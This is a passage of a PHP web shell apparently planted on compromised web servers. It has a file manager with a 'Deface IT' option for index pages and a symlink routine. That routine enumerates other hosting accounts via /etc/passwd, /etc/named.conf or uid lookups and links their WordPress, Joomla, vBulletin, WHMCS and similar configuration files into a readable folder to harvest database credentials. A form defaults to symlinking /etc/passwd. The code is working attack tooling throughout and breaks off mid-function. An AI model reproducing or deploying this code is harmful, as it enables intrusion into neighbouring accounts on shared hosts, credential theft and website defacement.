1031 <td class='info'><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($dir . $directorysperator . $val); ?></a></td>
1032 <?php if($os != 'Windows')
1033 {
1034 echo "<td align=center><font size=2>";
1035 echo getOGid($val)."</font></td>";
1036 } ?>
1037 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($dir . $directorysperator . $val)); ?></font></td>
1038 <td class="info"><a href=javascript:void(0) onClick="fileaction('rename','<?php echo $vv; ?>')"><font size=2>Rename</font></a></td>
1039 <td></td>
1040 <td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php echo $i; ?>" value="<?php echo $dir . $directorysperator . $val;?>"></td>
1041 </tr></font>
1042 <?php
1043 }
1044 else if(is_file($vv))
1045 {
1046 ?>
1047 <tr style="background-color:#0C0C0C;" onMouseOver="style.backgroundColor='#000000'" onMouseOut="style.backgroundColor='#0C0C0C'">
1048 <td class='file'><a href=javascript:void(0) onClick="fileaction('open','<?php echo $vv; ?>')"><?php if(("/" .$val == $_SERVER["SCRIPT_NAME"]) || ($val == "index.php") || ($val == "index.html") || ($val == "config.php") || ($val == "wp-config.php")) { echo "<font color=red>". $val . "</font>"; } else { echo $val; } ?></a> <?php if($val == "index.php" || $val == "index.html") { if(strlen($ind) != 0) { echo "<a href=javascript:void(0) onClick=\"defacefun('$vv')\"><font color=red>( Deface IT )</font></a>"; } } ?></td>
1049
1050 <td class='info'><font size=2><?php echo HumanReadableFilesize(filesize($dir . $directorysperator . $val));?></font></td>
1051
1052 <td class='info'><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($dir . $directorysperator . $val); ?></a></td>
1053
1054 <?php if($os != 'Windows')
1055 {
1056 echo "<td align=center><font size=2>";
1057 echo getOGid($val)."</font></td>";
1058 } ?>
1059 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($dir . $directorysperator . $val)); ?></font></td>
1060
1061 <td class="info"><a href=javascript:void(0) onClick="fileaction('rename','<?php echo $vv; ?>')"><font size=2>Rename</font></a></td>
1062 <td class="info"><a href="<?php echo $self;?>?download=<?php echo $dir . $directorysperator .$val;?>"><font size=2>Download</font></a>
1063 <td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php echo $i; ?>" value="<?php echo $dir . $directorysperator . $val;?>"></td>
1064 </tr>
1065 <p>
1066 <?php
1067 }
1068 }
1069
1070 echo "</table>
1071<div align='right' style='width:100%;' id=maindiv><BR><label><input type='checkbox' name='checkall' onclick='checkedAll();'> <font class=txt size=3>Check All </font></label>
1072<select class=sbox name=choice style='width: 100px;'>
1073 <option value=delete>Delete</option>
1074 <option value=chmod>Change mode</option>
1075 if(class_exists('ZipArchive'))
1076 { <option value=compre>Compress</option>
1077 <option value=uncompre>Uncompress</option> }
1078 </select>
1079
1080 <input type=button onClick=\"myaction(choice.value)\" value=Submit name=checkoption class=but></form></div>";
1081 }}
1082 else
1083 {
1084 echo "<p><font size=3>".$_GET['dir']." is <b>NOT</b> a Valid Directory!<br /></font></p>";
1085 }
1086
1087}
1088if(isset($_REQUEST["script"]))
1089{
1090 $getpath = trim(dirname($_SERVER['SCRIPT_NAME']) . PHP_EOL);
1091 ?>
1092 <center><table><tr><td><a href=javascript:void(0) onClick="getdata('manuallyscript')"><font class=txt size="4">| Do It Manually |</font></a></td>
1093 <td><a href=javascript:void(0) onClick="getdata('scriptlocator')"><font class=txt size="4">| Do It Automatically |</font></a></td>
1094 </tr></table></center>
1095 <?php
1096}
1097else if(isset($_REQUEST['manuallyscript']))
1098{
1099 ?>
1100 <center>
1101 <form action="<?php echo $self; ?>" method="post">
1102 <textarea class="box" rows="16" cols="100" name="passwd"></textarea><br>
1103 <input type="button" OnClick="manuallyscriptfn(passwd.value)" value="Get Config" class="but">
1104 </form>
1105 </center>
1106 <?php
1107}
1108else if(isset($_REQUEST['scriptlocator']))
1109{
1110 if(stristr(php_uname(),"Linux"))
1111 {
1112 $url = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
1113 $path=explode('/',$url);
1114 $url =str_replace($path[count($path)-1],'',$url);
1115 function syml($usern,$pdomain)
1116 {
1117 symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1118 symlink('/home/'.$usern.'/public_html/core/includes/config.php',$pdomain.'~~vBulletin5.txt');
1119 symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1120 symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1121 symlink('/home/'.$usern.'/public_html/vb/core/includes/config.php',$pdomain.'~~vBulletin5.txt');
1122 symlink('/home/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
1123 symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1124 symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1125 symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb1.txt');
1126 symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1127 symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1128 symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1129 symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1130 symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1131 symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1132 symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1133 symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1134 symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1135 symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1136 symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1137 symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1138 symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1139 symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1140 symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1141 symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1142 symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1143 symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1144 symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1145 symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1146 symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1147 symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1148 symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1149 symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1150 symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1151 symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1152 symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1153 symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1154 symlink('/home2/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
1155 symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1156 symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1157 symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb2.txt');
1158 symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1159 symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1160 symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1161 symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1162 symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1163 symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1164 symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1165 symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1166 symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1167 symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1168 symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1169 symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1170 symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1171 symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1172 symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1173 symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1174 symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1175 symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1176 symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1177 symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1178 symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1179 symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1180 symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1181 symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1182 symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1183 symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1184 symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1185 symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1186 symlink('/home3/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
1187 symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1188 symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1189 symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb3.txt');
1190 symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1191 symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1192 symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1193 symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1194 symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1195 symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1196 symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1197 symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1198 symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1199 symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1200 symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1201 symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1202 symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1203 symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1204 symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1205 symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1206 symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1207 symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1208 symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1209 symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1210 symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1211 symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1212 symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1213 symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1214 symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1215 symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1216 symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1217 symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1218 symlink('/home4/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
1219 symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1220 symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1221 symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb4.txt');
1222 symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1223 symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1224 symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1225 symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1226 symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1227 symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1228 symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1229 symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1230 symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1231 symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1232 symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1233 symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1234 symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1235 symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1236 symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1237 symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1238 symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1239 symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1240 symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1241 symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1242 symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1243 symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1244 symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1245 symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1246 symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1247 symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1248 symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1249 symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1250 symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1251 symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1252 symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb5.txt');
1253 symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1254 symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1255 symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1256 symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1257 symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1258 symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1259 symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1260 symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1261 symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1262 symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1263 symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1264 symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1265 symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1266 symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1267 symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1268 symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1269 symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1270 symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1271 symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1272 symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1273 symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1274 symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1275 symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1276 symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1277 symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1278 symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1279 symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1280 symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1281 symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1282 symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1283 symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1284 symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1285 symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1286 symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1287 symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1288 symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1289 symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1290 symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1291 symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1292 symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1293 symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1294 symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1295 symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1296 symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1297 symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1298 symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1299 symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1300 symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1301 symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1302 symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1303 symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1304 symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1305 symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1306 symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1307 symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1308 symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1309 symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1310 symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1311 symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1312 symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1313 symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb7.txt');
1314 symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1315 symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1316 symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1317 symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1318 symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1319 symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1320 symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1321 symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1322 symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1323 symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1324 symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1325 symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1326 symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1327 symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1328 symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1329 symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1330 symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1331 symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1332 symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1333 symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1334 symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1335 symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1336 symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1337 symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1338 }
1339 if(isset($_REQUEST['passwd']))
1340 {
1341 $getetc = trim($_REQUEST['passwd']);
1342
1343 mkdir("D4RKSPT");
1344 chdir("D4RKSPT");
1345
1346 $myfile = fopen("test.txt","w");
1347 fputs($myfile,$getetc);
1348 fclose($myfile);
1349
1350 $file = fopen("test.txt", "r") or exit("Unable to open file!");
1351 while(!feof($file))
1352 {
1353 $s = fgets($file);
1354 $matches = array();
1355 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1356 $matches = str_replace("home/","",$matches[1]);
1357 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1358 continue;
1359 syml($matches,$matches);
1360 }
1361 fclose($file);
1362 unlink("test.txt");
1363 echo "<center><font class=txt size=3>[ Done ]</font></center>";
1364 echo "<br><center><a href=".$url."D4RKSPT target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
1365
1366 }
1367 else
1368 {
1369 $d0mains = @file("/etc/named.conf");
1370 if($d0mains)
1371 {
1372 mkdir("D4RKST");
1373 chdir("D4RKST");
1374
1375 foreach($d0mains as $d0main)
1376 {
1377 if(eregi("zone",$d0main))
1378 {
1379 preg_match_all('#zone "(.*)"#', $d0main, $domains);
1380 flush();
1381
1382 if(strlen(trim($domains[1][0])) > 2)
1383 {
1384 $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
1385
1386 syml($user['name'],$domains[1][0]);
1387 }
1388 }
1389 }
1390 echo "<center><font class=txt size=3>[ Done ]</font></center>";
1391 echo "<br><center><a href=".$url."D4RKST target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
1392 }
1393 else
1394 {
1395 mkdir("D4RKSPT");
1396 chdir("D4RKSPT");
1397 $temp = "";
1398 $val1 = 0;
1399 $val2 = 1000;
1400 for(;$val1 <= $val2;$val1++)
1401 {
1402 $uid = @posix_getpwuid($val1);
1403 if ($uid)
1404 $temp .= join(':',$uid)."\n";
1405 }
1406 echo '<br/>';
1407 $temp = trim($temp);
1408
1409 $file5 = fopen("test.txt","w");
1410 fputs($file5,$temp);
1411 fclose($file5);
1412
1413
1414 $file = fopen("test.txt", "r") or exit("Unable to open file!");
1415 while(!feof($file))
1416 {
1417 $s = fgets($file);
1418 $matches = array();
1419 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1420 $matches = str_replace("home/","",$matches[1]);
1421 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1422 continue;
1423 syml($matches,$matches);
1424 }
1425 fclose($file);
1426 echo "</table>";
1427 unlink("test.txt");
1428 echo "<center><font class=txt size=3>[ Done ]</font></center>";
1429 echo "<br><center><a href=".$url."D4RKSPT target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
1430 }
1431 }
1432 }
1433 else
1434 echo "<center>Cannot Complete the task!!!!</center>";
1435
1436}
1437else if(isset($_GET["symlinkfile"]))
1438{
1439 if(!isset($_GET['file']))
1440 {
1441 ?>
1442 <center>
1443 <form onSubmit="getdata('symlinkmyfile',file.value);return false;">
1444 <input type="text" class="box" name="file" size="50" value="/etc/passwd">
1445 <input type="button" value="Create Symlink" onClick="getdata('symlinkmyfile',file.value)" class="but">
1446 </form></center>
1447 <br><br>
1448 <?php
1449 }
1450}
1451
1452else if(isset($_GET['symlinkmyfile']))
1453{
1454 if(stristr(php_uname(),"Linux"))
1455 {
1456 $fakedir="cx";
1457 $fakedep=16;
1458
1459 $num=0; // offset of symlink.$num
1460
1461 if(!empty($_GET['myfile']))
1462 $file=$_GET['myfile'];
